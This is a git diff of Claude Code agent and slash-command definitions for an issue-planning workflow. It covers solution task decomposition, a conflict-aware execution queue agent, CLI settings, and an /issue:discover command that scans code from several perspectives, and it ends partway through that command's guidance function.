+function decomposeTasks(issue, exploration) {
+  return groups.map(group => ({
+    id: `T${taskId++}`,                    // Pattern: ^T[0-9]+$
+    title: group.title,
+    scope: inferScope(group),              // Module path
+    action: inferAction(group),            // Create | Update | Implement | ...
+    description: group.description,
+    modification_points: mapModificationPoints(group),
+    implementation: generateSteps(group),  // Step-by-step guide
+    test: {
+      unit: generateUnitTests(group),
+      commands: ['npm test']
+    },
+    acceptance: {
+      criteria: generateCriteria(group),   // Quantified checklist
+      verification: generateVerification(group)
+    },
+    commit: {
+      type: inferCommitType(group),        // feat | fix | refactor | ...
+      scope: inferScope(group),
+      message_template: generateCommitMsg(group)
+    },
+    depends_on: inferDependencies(group, tasks),
+    priority: calculatePriority(group)     // 1-5 (1=highest)
+  }))
+}
+```
+
+#### Phase 4: Validation & Output
+
+**Validation**:
+- DAG validation (no circular dependencies)
+- Task validation (all 5 phases present)
+- File isolation check (ensure minimal overlap across issues in batch)
+
+**Solution Registration** (via file write):
+
+**Step 1: Create solution files**
+
+Write solution JSON to JSONL file (one line per solution):
+
+```
+.workflow/issues/solutions/{issue-id}.jsonl
+```
+
+**File Format** (JSONL - each line is a complete solution):
+```
+{"id":"SOL-GH-123-1","description":"...","approach":"...","analysis":{...},"score":0.85,"tasks":[...]}
+{"id":"SOL-GH-123-2","description":"...","approach":"...","analysis":{...},"score":0.75,"tasks":[...]}
+```
+
+**Solution Schema** (must match CLI `Solution` interface):
+```typescript
+{
+  id: string;                    // Format: SOL-{issue-id}-{N}
+  description?: string;
+  approach?: string;
+  tasks: SolutionTask[];
+  analysis?: { risk, impact, complexity };
+  score?: number;
+  // Note: is_bound, created_at are added by CLI on read
+}
+```
+
+**Write Operation**:
+```javascript
+// Append solution to JSONL file (one line per solution)
+const solutionId = `SOL-${issueId}-${seq}`;
+const solutionLine = JSON.stringify({ id: solutionId, ...solution });
+
+// Read existing, append new line, write back
+const filePath = `.workflow/issues/solutions/${issueId}.jsonl`;
+const existing = existsSync(filePath) ? readFileSync(filePath) : '';
+const newContent = existing.trimEnd() + (existing ? '\n' : '') + solutionLine + '\n';
+Write({ file_path: filePath, content: newContent })
+```
+
+**Step 2: Bind decision**
+- **Single solution** → Auto-bind: `ccw issue bind <issue-id> <solution-id>`
+- **Multiple solutions** → Return for user selection (no bind)
+
+---
+
+## 2. Output Requirements
+
+### 2.1 Generate Files (Primary)
+
+**Solution file per issue**:
+```
+.workflow/issues/solutions/{issue-id}.jsonl
+```
+
+Each line is a solution JSON containing tasks. Schema: `cat .claude/workflows/cli-templates/schemas/solution-schema.json`
+
+### 2.2 Binding
+
+| Scenario | Action |
+|----------|--------|
+| Single solution | `ccw issue bind <issue-id> <solution-id>` (auto) |
+| Multiple solutions | Register only, return for selection |
+
+### 2.3 Return Summary
+
+```json
+{
+  "bound": [{ "issue_id": "...", "solution_id": "...", "task_count": N }],
+  "pending_selection": [{ "issue_id": "GH-123", "solutions": [{ "id": "SOL-GH-123-1", "description": "...", "task_count": N }] }]
+}
+```
+
+---
+
+## 3. Quality Standards
+
+### 3.1 Acceptance Criteria
+
+| Good | Bad |
+|------|-----|
+| "3 API endpoints: GET, POST, DELETE" | "API works correctly" |
+| "Response time < 200ms p95" | "Good performance" |
+| "All 4 test cases pass" | "Tests pass" |
+
+### 3.2 Validation Checklist
+
+- [ ] ACE search performed for each issue
+- [ ] All modification_points verified against codebase
+- [ ] Tasks have 2+ implementation steps
+- [ ] All 5 lifecycle phases present
+- [ ] Quantified acceptance criteria with verification
+- [ ] Dependencies form valid DAG
+- [ ] Commit follows conventional commits
+
+### 3.3 Guidelines
+
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
+**ALWAYS**:
+1. Read schema first: `cat .claude/workflows/cli-templates/schemas/solution-schema.json`
+2. Use ACE semantic search as PRIMARY exploration tool
+3. Fetch issue details via `ccw issue status <id> --json`
+4. Quantify acceptance.criteria with testable conditions
+5. Validate DAG before output
+6. Evaluate each solution with `analysis` and `score`
+7. Write solutions to `.workflow/issues/solutions/{issue-id}.jsonl` (append mode)
+8. For HIGH complexity: generate 2-3 candidate solutions
+9. **Solution ID format**: `SOL-{issue-id}-{N}` (e.g., `SOL-GH-123-1`, `SOL-GH-123-2`)
+
+**CONFLICT AVOIDANCE** (for batch processing of similar issues):
+1. **File isolation**: Each issue's solution should target distinct files when possible
+2. **Module boundaries**: Prefer solutions that modify different modules/directories
+3. **Multiple solutions**: When file overlap is unavoidable, generate alternative solutions with different file targets
+4. **Dependency ordering**: If issues must touch same files, encode execution order via `depends_on`
+5. **Scope minimization**: Prefer smaller, focused modifications over broad refactoring
+
+**NEVER**:
+1. Execute implementation (return plan only)
+2. Use vague criteria ("works correctly", "good performance")
+3. Create circular dependencies
+4. Generate more than 10 tasks per issue
+5. **Bind when multiple solutions exist** - MUST check `solutions.length === 1` before calling `ccw issue bind`
+
+**OUTPUT**:
+1. Write solutions to `.workflow/issues/solutions/{issue-id}.jsonl` (JSONL format)
+2. Single solution → `ccw issue bind <issue-id> <solution-id>`; Multiple → return only
+3. Return JSON with `bound`, `pending_selection`

.claude/agents/issue-queue-agent.md

@@ -0,0 +1,310 @@
+---
+name: issue-queue-agent
+description: |
+  Solution ordering agent for queue formation with Gemini CLI conflict analysis.
+  Receives solutions from bound issues, uses Gemini for intelligent conflict detection, produces ordered execution queue.
+color: orange
+---
+
+## Overview
+
+**Agent Role**: Queue formation agent that transforms solutions from bound issues into an ordered execution queue. Uses Gemini CLI for intelligent conflict detection, resolves ordering, and assigns parallel/sequential groups.
+
+**Core Capabilities**:
+- Inter-solution dependency DAG construction
+- Gemini CLI conflict analysis (5 types: file, API, data, dependency, architecture)
+- Conflict resolution with semantic ordering rules
+- Priority calculation (0.0-1.0) per solution
+- Parallel/Sequential group assignment for solutions
+
+**Key Principle**: Queue items are **solutions**, NOT individual tasks. Each executor receives a complete solution with all its tasks.
+
+---
+
+## 1. Input & Execution
+
+### 1.1 Input Context
+
+```javascript
+{
+  solutions: [{
+    issue_id: string,      // e.g., "ISS-20251227-001"
+    solution_id: string,   // e.g., "SOL-ISS-20251227-001-1"
+    task_count: number,    // Number of tasks in this solution
+    files_touched: string[], // All files modified by this solution
+    priority: string       // Issue priority: critical | high | medium | low
+  }],
+  project_root?: string,
+  rebuild?: boolean
+}
+```
+
+**Note**: Agent generates unique `item_id` (pattern: `S-{N}`) for queue output.
+
+### 1.2 Execution Flow
+
+```
+Phase 1: Solution Analysis (15%)
+    | Parse solutions, collect files_touched, build DAG
+Phase 2: Conflict Detection (25%)
+    | Identify all conflict types (file, API, data, dependency, architecture)
+Phase 2.5: Clarification (15%)
+    | Surface ambiguous dependencies, BLOCK until resolved
+Phase 3: Conflict Resolution (20%)
+    | Apply ordering rules, update DAG
+Phase 4: Ordering & Grouping (25%)
+    | Topological sort, assign parallel/sequential groups
+```
+
+---
+
+## 2. Processing Logic
+
+### 2.1 Dependency Graph
+
+**Build DAG from solutions**:
+1. Create node for each solution with `inDegree: 0` and `outEdges: []`
+2. Build file→solutions mapping from `files_touched`
+3. For files touched by multiple solutions → potential conflict edges
+
+**Graph Structure**:
+- Nodes: Solutions (keyed by `solution_id`)
+- Edges: Dependency relationships (added during conflict resolution)
+- Properties: `inDegree` (incoming edges), `outEdges` (outgoing dependencies)
+
+### 2.2 Conflict Detection (Gemini CLI)
+
+Use Gemini CLI for intelligent conflict analysis across all solutions:
+
+```bash
+ccw cli -p "
+PURPOSE: Analyze solutions for conflicts across 5 dimensions
+TASK: • Detect file conflicts (same file modified by multiple solutions)
+      • Detect API conflicts (breaking interface changes)
+      • Detect data conflicts (schema changes to same model)
+      • Detect dependency conflicts (package version mismatches)
+      • Detect architecture conflicts (pattern violations)
+MODE: analysis
+CONTEXT: @.workflow/issues/solutions/**/*.jsonl | Solution data: \${SOLUTIONS_JSON}
+EXPECTED: JSON array of conflicts with type, severity, solutions, recommended_order
+RULES: $(cat ~/.claude/workflows/cli-templates/protocols/analysis-protocol.md) | Severity: high (API/data) > medium (file/dependency) > low (architecture)
+" --tool gemini --mode analysis --cd .workflow/issues
+```
+
+**Placeholder**: `${SOLUTIONS_JSON}` = serialized solutions array from bound issues
+
+**Conflict Types & Severity**:
+
+| Type | Severity | Trigger |
+|------|----------|---------|
+| `file_conflict` | medium | Multiple solutions modify same file |
+| `api_conflict` | high | Breaking interface changes |
+| `data_conflict` | high | Schema changes to same model |
+| `dependency_conflict` | medium | Package version mismatches |
+| `architecture_conflict` | low | Pattern violations |
+
+**Output per conflict**:
+```json
+{ "type": "...", "severity": "...", "solutions": [...], "recommended_order": [...], "rationale": "..." }
+```
+
+### 2.2.5 Clarification (BLOCKING)
+
+**Purpose**: Surface ambiguous dependencies for user/system clarification
+
+**Trigger Conditions**:
+- High severity conflicts without `recommended_order` from Gemini analysis
+- Circular dependencies detected
+- Multiple valid resolution strategies
+
+**Clarification Generation**:
+
+For each unresolved high-severity conflict:
+1. Generate conflict ID: `CFT-{N}`
+2. Build question: `"{type}: Which solution should execute first?"`
+3. List options with solution summaries (issue title + task count)
+4. Mark `requires_user_input: true`
+
+**Blocking Behavior**:
+- Return `clarifications` array in output
+- Main agent presents to user via AskUserQuestion
+- Agent BLOCKS until all clarifications resolved
+- No best-guess fallback - explicit user decision required
+
+### 2.3 Resolution Rules
+
+| Priority | Rule | Example |
+|----------|------|---------|
+| 1 | Higher issue priority first | critical > high > medium > low |
+| 2 | Foundation solutions first | Solutions with fewer dependencies |
+| 3 | More tasks = higher priority | Solutions with larger impact |
+| 4 | Create before extend | S1:Creates module -> S2:Extends it |
+
+### 2.4 Semantic Priority
+
+**Base Priority Mapping** (issue priority -> base score):
+| Priority | Base Score | Meaning |
+|----------|------------|---------|
+| critical | 0.9 | Highest |
+| high | 0.7 | High |
+| medium | 0.5 | Medium |
+| low | 0.3 | Low |
+
+**Task-count Boost** (applied to base score):
+| Factor | Boost |
+|--------|-------|
+| task_count >= 5 | +0.1 |
+| task_count >= 3 | +0.05 |
+| Foundation scope | +0.1 |
+| Fewer dependencies | +0.05 |
+
+**Formula**: `semantic_priority = clamp(baseScore + sum(boosts), 0.0, 1.0)`
+
+### 2.5 Group Assignment
+
+- **Parallel (P*)**: Solutions with no file overlaps between them
+- **Sequential (S*)**: Solutions that share files must run in order
+
+---
+
+## 3. Output Requirements
+
+### 3.1 Generate Files (Primary)
+
+**Queue files**:
+```
+.workflow/issues/queues/{queue-id}.json   # Full queue with solutions, conflicts, groups
+.workflow/issues/queues/index.json        # Update with new queue entry
+```
+
+Queue ID: Use the Queue ID provided in prompt (do NOT generate new one)
+Queue Item ID format: `S-N` (S-1, S-2, S-3, ...)
+
+### 3.2 Queue File Schema
+
+```json
+{
+  "id": "QUE-20251227-143000",
+  "status": "active",
+  "solutions": [
+    {
+      "item_id": "S-1",
+      "issue_id": "ISS-20251227-003",
+      "solution_id": "SOL-ISS-20251227-003-1",
+      "status": "pending",
+      "execution_order": 1,
+      "execution_group": "P1",
+      "depends_on": [],
+      "semantic_priority": 0.8,
+      "files_touched": ["src/auth.ts", "src/utils.ts"],
+      "task_count": 3
+    }
+  ],
+  "conflicts": [
+    {
+      "type": "file_conflict",
+      "file": "src/auth.ts",
+      "solutions": ["S-1", "S-3"],
+      "resolution": "sequential",
+      "resolution_order": ["S-1", "S-3"],
+      "rationale": "S-1 creates auth module, S-3 extends it"
+    }
+  ],
+  "execution_groups": [
+    { "id": "P1", "type": "parallel", "solutions": ["S-1", "S-2"], "solution_count": 2 },
+    { "id": "S2", "type": "sequential", "solutions": ["S-3"], "solution_count": 1 }
+  ]
+}
+```
+
+### 3.3 Return Summary (Brief)
+
+Return brief summaries; full conflict details in separate files:
+
+```json
+{
+  "queue_id": "QUE-20251227-143000",
+  "total_solutions": N,
+  "total_tasks": N,
+  "execution_groups": [{ "id": "P1", "type": "parallel", "count": N }],
+  "conflicts_summary": [{
+    "id": "CFT-001",
+    "type": "api_conflict",
+    "severity": "high",
+    "summary": "Brief 1-line description",
+    "resolution": "sequential",
+    "details_path": ".workflow/issues/conflicts/CFT-001.json"
+  }],
+  "clarifications": [{
+    "conflict_id": "CFT-002",
+    "question": "Which solution should execute first?",
+    "options": [{ "value": "S-1", "label": "Solution summary" }],
+    "requires_user_input": true
+  }],
+  "conflicts_resolved": N,
+  "issues_queued": ["ISS-xxx", "ISS-yyy"]
+}
+```
+
+**Full Conflict Details**: Write to `.workflow/issues/conflicts/{conflict-id}.json`
+
+---
+
+## 4. Quality Standards
+
+### 4.1 Validation Checklist
+
+- [ ] No circular dependencies between solutions
+- [ ] All file conflicts resolved
+- [ ] Solutions in same parallel group have NO file overlaps
+- [ ] Semantic priority calculated for all solutions
+- [ ] Dependencies ordered correctly
+
+### 4.2 Error Handling
+
+| Scenario | Action |
+|----------|--------|
+| Circular dependency | Abort, report cycles |
+| Resolution creates cycle | Flag for manual resolution |
+| Missing solution reference | Skip and warn |
+| Empty solution list | Return empty queue |
+
+### 4.3 Guidelines
+
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
+**ALWAYS**:
+1. Build dependency graph before ordering
+2. Detect file overlaps between solutions
+3. Apply resolution rules consistently
+4. Calculate semantic priority for all solutions
+5. Include rationale for conflict resolutions
+6. Validate ordering before output
+
+**NEVER**:
+1. Execute solutions (ordering only)
+2. Ignore circular dependencies
+3. Skip conflict detection
+4. Output invalid DAG
+5. Merge conflicting solutions in parallel group
+6. Split tasks from their solution
+
+**WRITE** (exactly 2 files):
+- `.workflow/issues/queues/{Queue ID}.json` - Full queue with solutions, groups
+- `.workflow/issues/queues/index.json` - Update with new queue entry
+- Use Queue ID from prompt, do NOT generate new one
+
+**RETURN** (summary + unresolved conflicts):
+```json
+{
+  "queue_id": "QUE-xxx",
+  "total_solutions": N,
+  "total_tasks": N,
+  "execution_groups": [{"id": "P1", "type": "parallel", "count": N}],
+  "issues_queued": ["ISS-xxx"],
+  "clarifications": [{"conflict_id": "CFT-1", "question": "...", "options": [...]}]
+}
+```
+- `clarifications`: Only present if unresolved high-severity conflicts exist
+- No markdown, no prose - PURE JSON only

.claude/agents/test-fix-agent.md

@@ -59,6 +59,14 @@ When task JSON contains `flow_control` field, execute preparation and implementa
 2. **Variable Substitution**: Use `[variable_name]` to reference previous outputs
 3. **Error Handling**: Follow step-specific strategies (`skip_optional`, `fail`, `retry_once`)
 
+**Command-to-Tool Mapping** (for pre_analysis commands):
+```
+"Read(path)"            → Read tool: Read(file_path=path)
+"bash(command)"         → Bash tool: Bash(command=command)
+"Search(pattern,path)"  → Grep tool: Grep(pattern=pattern, path=path)
+"Glob(pattern)"         → Glob tool: Glob(pattern=pattern)
+```
+
 **Implementation Approach** (`flow_control.implementation_approach`):
 When task JSON contains implementation_approach array:
 1. **Sequential Execution**: Process steps in order, respecting `depends_on` dependencies
@@ -73,6 +81,12 @@ When task JSON contains implementation_approach array:
    - `command`: Optional CLI command (only when explicitly specified)
    - `depends_on`: Array of step numbers that must complete first
    - `output`: Variable name for this step's output
+5. **Execution Mode Selection**:
+   - IF `command` field exists → Execute CLI command via Bash tool
+   - ELSE (no command) → Agent direct execution:
+     - Parse `modification_points` as files to modify
+     - Follow `logic_flow` for test-fix iteration
+     - Use test_commands from flow_control for test execution
 
 
 ### 1. Context Assessment & Test Discovery

.claude/agents/universal-executor.md

@@ -120,6 +120,9 @@ Before completing any task, verify:
 - Make assumptions - verify with existing materials
 - Skip quality verification steps
 
+**Bash Tool**:
+- Use `run_in_background=false` for all Bash/CLI calls to ensure foreground execution
+
 **ALWAYS:**
 - Verify resource/dependency existence before referencing
 - Execute tasks systematically and incrementally

.claude/cli-settings.json

@@ -0,0 +1,18 @@
+{
+  "version": "1.0.0",
+  "defaultTool": "gemini",
+  "promptFormat": "plain",
+  "smartContext": {
+    "enabled": false,
+    "maxFiles": 10
+  },
+  "nativeResume": true,
+  "recursiveQuery": true,
+  "cache": {
+    "injectionMode": "auto",
+    "defaultPrefix": "",
+    "defaultSuffix": ""
+  },
+  "codeIndexMcp": "ace",
+  "$schema": "./cli-settings.schema.json"
+}

.claude/cli-tools.json

@@ -1,47 +0,0 @@
-{
-  "version": "1.0.0",
-  "tools": {
-    "gemini": {
-      "enabled": true,
-      "isBuiltin": true,
-      "command": "gemini",
-      "description": "Google AI for code analysis"
-    },
-    "qwen": {
-      "enabled": true,
-      "isBuiltin": true,
-      "command": "qwen",
-      "description": "Alibaba AI assistant"
-    },
-    "codex": {
-      "enabled": true,
-      "isBuiltin": true,
-      "command": "codex",
-      "description": "OpenAI code generation"
-    },
-    "claude": {
-      "enabled": true,
-      "isBuiltin": true,
-      "command": "claude",
-      "description": "Anthropic AI assistant"
-    }
-  },
-  "customEndpoints": [],
-  "defaultTool": "gemini",
-  "settings": {
-    "promptFormat": "plain",
-    "smartContext": {
-      "enabled": false,
-      "maxFiles": 10
-    },
-    "nativeResume": true,
-    "recursiveQuery": true,
-    "cache": {
-      "injectionMode": "auto",
-      "defaultPrefix": "",
-      "defaultSuffix": ""
-    },
-    "codeIndexMcp": "ace"
-  },
-  "$schema": "./cli-tools.schema.json"
-}

.claude/commands/issue/discover.md

@@ -0,0 +1,468 @@
+---
+name: issue:discover
+description: Discover potential issues from multiple perspectives (bug, UX, test, quality, security, performance, maintainability, best-practices) using CLI explore. Supports Exa external research for security and best-practices perspectives.
+argument-hint: "<path-pattern> [--perspectives=bug,ux,...] [--external]"
+allowed-tools: SlashCommand(*), TodoWrite(*), Read(*), Bash(*), Task(*), AskUserQuestion(*), Glob(*), Grep(*)
+---
+
+# Issue Discovery Command
+
+## Quick Start
+
+```bash
+# Discover issues in specific module (interactive perspective selection)
+/issue:discover src/auth/**
+
+# Discover with specific perspectives
+/issue:discover src/payment/** --perspectives=bug,security,test
+
+# Discover with external research for all perspectives
+/issue:discover src/api/** --external
+
+# Discover in multiple modules
+/issue:discover src/auth/**,src/payment/**
+```
+
+**Discovery Scope**: Specified modules/files only
+**Output Directory**: `.workflow/issues/discoveries/{discovery-id}/`
+**Available Perspectives**: bug, ux, test, quality, security, performance, maintainability, best-practices
+**Exa Integration**: Auto-enabled for security and best-practices perspectives
+**CLI Tools**: Gemini → Qwen → Codex (fallback chain)
+
+## What & Why
+
+### Core Concept
+Multi-perspective issue discovery orchestrator that explores code from different angles to identify potential bugs, UX improvements, test gaps, and other actionable items. Unlike code review (which assesses existing code quality), discovery focuses on **finding opportunities for improvement and potential problems**.
+
+**vs Code Review**:
+- **Code Review** (`review-module-cycle`): Evaluates code quality against standards
+- **Issue Discovery** (`issue:discover`): Finds actionable issues, bugs, and improvement opportunities
+
+### Value Proposition
+1. **Proactive Issue Detection**: Find problems before they become bugs
+2. **Multi-Perspective Analysis**: Each perspective surfaces different types of issues
+3. **External Benchmarking**: Compare against industry best practices via Exa
+4. **Direct Issue Integration**: Discoveries can be exported to issue tracker
+5. **Dashboard Management**: View, filter, and export discoveries via CCW dashboard
+
+## How It Works
+
+### Execution Flow
+
+```
+Phase 1: Discovery & Initialization
+   └─ Parse target pattern, create session, initialize output structure
+
+Phase 2: Interactive Perspective Selection
+   └─ AskUserQuestion for perspective selection (or use --perspectives)
+
+Phase 3: Parallel Perspective Analysis
+   ├─ Launch N @cli-explore-agent instances (one per perspective)
+   ├─ Security & Best-Practices auto-trigger Exa research
+   ├─ Agent writes perspective JSON, returns summary
+   └─ Update discovery-progress.json
+
+Phase 4: Aggregation & Prioritization
+   ├─ Collect agent return summaries
+   ├─ Load perspective JSON files
+   ├─ Merge findings, deduplicate by file+line
+   └─ Calculate priority scores
+
+Phase 5: Issue Generation & Summary
+   ├─ Convert high-priority discoveries to issue format
+   ├─ Write to discovery-issues.jsonl
+   ├─ Generate single summary.md from agent returns
+   └─ Update discovery-state.json to complete
+
+Phase 6: User Action Prompt
+   └─ AskUserQuestion for next step (export/dashboard/skip)
+```
+
+## Perspectives
+
+### Available Perspectives
+
+| Perspective | Focus | Categories | Exa |
+|-------------|-------|------------|-----|
+| **bug** | Potential Bugs | edge-case, null-check, resource-leak, race-condition, boundary, exception-handling | - |
+| **ux** | User Experience | error-message, loading-state, feedback, accessibility, interaction, consistency | - |
+| **test** | Test Coverage | missing-test, edge-case-test, integration-gap, coverage-hole, assertion-quality | - |
+| **quality** | Code Quality | complexity, duplication, naming, documentation, code-smell, readability | - |
+| **security** | Security Issues | injection, auth, encryption, input-validation, data-exposure, access-control | ✓ |
+| **performance** | Performance | n-plus-one, memory-usage, caching, algorithm, blocking-operation, resource | - |
+| **maintainability** | Maintainability | coupling, cohesion, tech-debt, extensibility, module-boundary, interface-design | - |
+| **best-practices** | Best Practices | convention, pattern, framework-usage, anti-pattern, industry-standard | ✓ |
+
+### Interactive Perspective Selection
+
+When no `--perspectives` flag is provided, the command uses AskUserQuestion:
+
+```javascript
+AskUserQuestion({
+  questions: [{
+    question: "Select primary discovery focus:",
+    header: "Focus",
+    multiSelect: false,
+    options: [
+      { label: "Bug + Test + Quality", description: "Quick scan: potential bugs, test gaps, code quality (Recommended)" },
+      { label: "Security + Performance", description: "System audit: security issues, performance bottlenecks" },
+      { label: "Maintainability + Best-practices", description: "Long-term health: coupling, tech debt, conventions" },
+      { label: "Full analysis", description: "All 7 perspectives (comprehensive, takes longer)" }
+    ]
+  }]
+})
+```
+
+**Recommended Combinations**:
+- Quick scan: bug, test, quality
+- Full analysis: all perspectives
+- Security audit: security, bug, quality
+
+## Core Responsibilities
+
+### Orchestrator
+
+**Phase 1: Discovery & Initialization**
+
+```javascript
+// Step 1: Parse target pattern and resolve files
+const resolvedFiles = await expandGlobPattern(targetPattern);
+if (resolvedFiles.length === 0) {
+  throw new Error(`No files matched pattern: ${targetPattern}`);
+}
+
+// Step 2: Generate discovery ID
+const discoveryId = `DSC-${formatDate(new Date(), 'YYYYMMDD-HHmmss')}`;
+
+// Step 3: Create output directory
+const outputDir = `.workflow/issues/discoveries/${discoveryId}`;
+await mkdir(outputDir, { recursive: true });
+await mkdir(`${outputDir}/perspectives`, { recursive: true });
+
+// Step 4: Initialize unified discovery state (merged state+progress)
+await writeJson(`${outputDir}/discovery-state.json`, {
+  discovery_id: discoveryId,
+  target_pattern: targetPattern,
+  phase: "initialization",
+  created_at: new Date().toISOString(),
+  updated_at: new Date().toISOString(),
+  target: { files_count: { total: resolvedFiles.length }, project: {} },
+  perspectives: [],  // filled after selection: [{name, status, findings}]
+  external_research: { enabled: false, completed: false },
+  results: { total_findings: 0, issues_generated: 0, priority_distribution: {} }
+});
+```
+
+**Phase 2: Perspective Selection**
+
+```javascript
+// Check for --perspectives flag
+let selectedPerspectives = [];
+
+if (args.perspectives) {
+  selectedPerspectives = args.perspectives.split(',').map(p => p.trim());
+} else {
+  // Interactive selection via AskUserQuestion
+  const response = await AskUserQuestion({...});
+  selectedPerspectives = parseSelectedPerspectives(response);
+}
+
+// Validate and update state
+await updateDiscoveryState(outputDir, {
+  'metadata.perspectives': selectedPerspectives,
+  phase: 'parallel'
+});
+```
+
+**Phase 3: Parallel Perspective Analysis**
+
+Launch N agents in parallel (one per selected perspective):
+
+```javascript
+// Launch agents in parallel - agents write JSON and return summary
+const agentPromises = selectedPerspectives.map(perspective =>
+  Task({
+    subagent_type: "cli-explore-agent",
+    run_in_background: false,
+    description: `Discover ${perspective} issues`,
+    prompt: buildPerspectivePrompt(perspective, discoveryId, resolvedFiles, outputDir)
+  })
+);
+
+// Wait for all agents - collect their return summaries
+const results = await Promise.all(agentPromises);
+// results contain agent summaries for final report
+```
+
+**Phase 4: Aggregation & Prioritization**
+
+```javascript
+// Load all perspective JSON files written by agents
+const allFindings = [];
+for (const perspective of selectedPerspectives) {
+  const jsonPath = `${outputDir}/perspectives/${perspective}.json`;
+  if (await fileExists(jsonPath)) {
+    const data = await readJson(jsonPath);
+    allFindings.push(...data.findings.map(f => ({ ...f, perspective })));
+  }
+}
+
+// Deduplicate and prioritize
+const prioritizedFindings = deduplicateAndPrioritize(allFindings);
+
+// Update unified state
+await updateDiscoveryState(outputDir, {
+  phase: 'aggregation',
+  'results.total_findings': prioritizedFindings.length,
+  'results.priority_distribution': countByPriority(prioritizedFindings)
+});
+```
+
+**Phase 5: Issue Generation & Summary**
+
+```javascript
+// Convert high-priority findings to issues
+const issueWorthy = prioritizedFindings.filter(f =>
+  f.priority === 'critical' || f.priority === 'high' || f.priority_score >= 0.7
+);
+
+// Write discovery-issues.jsonl
+await writeJsonl(`${outputDir}/discovery-issues.jsonl`, issues);
+
+// Generate single summary.md from agent return summaries
+// Orchestrator briefly summarizes what agents returned (NO detailed reports)
+await writeSummaryFromAgentReturns(outputDir, results, prioritizedFindings, issues);
+
+// Update final state
+await updateDiscoveryState(outputDir, {
+  phase: 'complete',
+  updated_at: new Date().toISOString(),
+  'results.issues_generated': issues.length
+});
+```
+
+**Phase 6: User Action Prompt**
+
+```javascript
+// Prompt user for next action based on discovery results
+const hasHighPriority = issues.some(i => i.priority === 'critical' || i.priority === 'high');
+const hasMediumFindings = prioritizedFindings.some(f => f.priority === 'medium');
+
+await AskUserQuestion({
+  questions: [{
+    question: `Discovery complete: ${issues.length} issues generated, ${prioritizedFindings.length} total findings. What would you like to do next?`,
+    header: "Next Step",
+    multiSelect: false,
+    options: hasHighPriority ? [
+      { label: "Export to Issues (Recommended)", description: `${issues.length} high-priority issues found - export to issue tracker for planning` },
+      { label: "Open Dashboard", description: "Review findings in ccw view before exporting" },
+      { label: "Skip", description: "Complete discovery without exporting" }
+    ] : hasMediumFindings ? [
+      { label: "Open Dashboard (Recommended)", description: "Review medium-priority findings in ccw view to decide which to export" },
+      { label: "Export to Issues", description: `Export ${issues.length} issues to tracker` },
+      { label: "Skip", description: "Complete discovery without exporting" }
+    ] : [
+      { label: "Skip (Recommended)", description: "No significant issues found - complete discovery" },
+      { label: "Open Dashboard", description: "Review all findings in ccw view" },
+      { label: "Export to Issues", description: `Export ${issues.length} issues anyway` }
+    ]
+  }]
+});
+
+// Handle response
+if (response === "Export to Issues") {
+  // Append to issues.jsonl
+  await appendJsonl('.workflow/issues/issues.jsonl', issues);
+  console.log(`Exported ${issues.length} issues. Run /issue:plan to continue.`);
+} else if (response === "Open Dashboard") {
+  console.log('Run `ccw view` and navigate to Issues > Discovery to manage findings.');
+}
+```
+
+### Output File Structure
+
+```
+.workflow/issues/discoveries/
+├── index.json                           # Discovery session index
+└── {discovery-id}/
+    ├── discovery-state.json             # Unified state (merged state+progress)
+    ├── perspectives/
+    │   └── {perspective}.json           # Per-perspective findings
+    ├── external-research.json           # Exa research results (if enabled)
+    ├── discovery-issues.jsonl           # Generated candidate issues
+    └── summary.md                       # Single summary (from agent returns)
+```
+
+### Schema References
+
+**External Schema Files** (agent MUST read and follow exactly):
+
+| Schema | Path | Purpose |
+|--------|------|---------|
+| **Discovery State** | `~/.claude/workflows/cli-templates/schemas/discovery-state-schema.json` | Session state machine |
+| **Discovery Finding** | `~/.claude/workflows/cli-templates/schemas/discovery-finding-schema.json` | Perspective analysis results |
+
+### Agent Invocation Template
+
+**Perspective Analysis Agent**:
+
+```javascript
+Task({
+  subagent_type: "cli-explore-agent",
+  run_in_background: false,
+  description: `Discover ${perspective} issues`,
+  prompt: `
+    ## Task Objective
+    Discover potential ${perspective} issues in specified module files.
+
+    ## Discovery Context
+    - Discovery ID: ${discoveryId}
+    - Perspective: ${perspective}
+    - Target Pattern: ${targetPattern}
+    - Resolved Files: ${resolvedFiles.length} files
+    - Output Directory: ${outputDir}
+
+    ## MANDATORY FIRST STEPS
+    1. Read discovery state: ${outputDir}/discovery-state.json
+    2. Read schema: ~/.claude/workflows/cli-templates/schemas/discovery-finding-schema.json
+    3. Analyze target files for ${perspective} concerns
+
+    ## Output Requirements
+
+    **1. Write JSON file**: ${outputDir}/perspectives/${perspective}.json
+    - Follow discovery-finding-schema.json exactly
+    - Each finding: id, title, priority, category, description, file, line, snippet, suggested_issue, confidence
+
+    **2. Return summary** (DO NOT write report file):
+    - Return a brief text summary of findings
+    - Include: total findings, priority breakdown, key issues
+    - This summary will be used by orchestrator for final report
+
+    ## Perspective-Specific Guidance
+    ${getPerspectiveGuidance(perspective)}
+
+    ## Success Criteria
+    - [ ] JSON written to ${outputDir}/perspectives/${perspective}.json
+    - [ ] Summary returned with findings count and key issues
+    - [ ] Each finding includes actionable suggested_issue
+    - [ ] Priority uses lowercase enum: critical/high/medium/low
+  `
+})
+```
+
+**Exa Research Agent** (for security and best-practices):
+
+```javascript
+Task({
+  subagent_type: "cli-explore-agent",
+  run_in_background: false,
+  description: `External research for ${perspective} via Exa`,
+  prompt: `
+    ## Task Objective
+    Research industry best practices for ${perspective} using Exa search
+
+    ## Research Steps
+    1. Read project tech stack: .workflow/project-tech.json
+    2. Use Exa to search for best practices
+    3. Synthesize findings relevant to this project
+
+    ## Output Requirements
+
+    **1. Write JSON file**: ${outputDir}/external-research.json
+    - Include sources, key_findings, gap_analysis, recommendations
+
+    **2. Return summary** (DO NOT write report file):
+    - Brief summary of external research findings
+    - Key recommendations for the project
+
+    ## Success Criteria
+    - [ ] JSON written to ${outputDir}/external-research.json
+    - [ ] Summary returned with key recommendations
+    - [ ] Findings are relevant to project's tech stack
+  `
+})
+```
+
+### Perspective Guidance Reference
+
+```javascript
+function getPerspectiveGuidance(perspective) {
+  const guidance = {
+    bug: `
+      Focus: Null checks, edge cases, resource leaks, race conditions, boundary conditions, exception handling
+      Priority: Critical=data corruption/crash, High=malfunction, Medium=edge case issues, Low=minor
+    `,
+    ux: `
+      Focus: Error messages, loading states, feedback, accessibility, interaction patterns, form validation
+      Priority: Critical=inaccessible, High=confusing, Medium=inconsistent, Low=cosmetic
+    `,
+    test: `
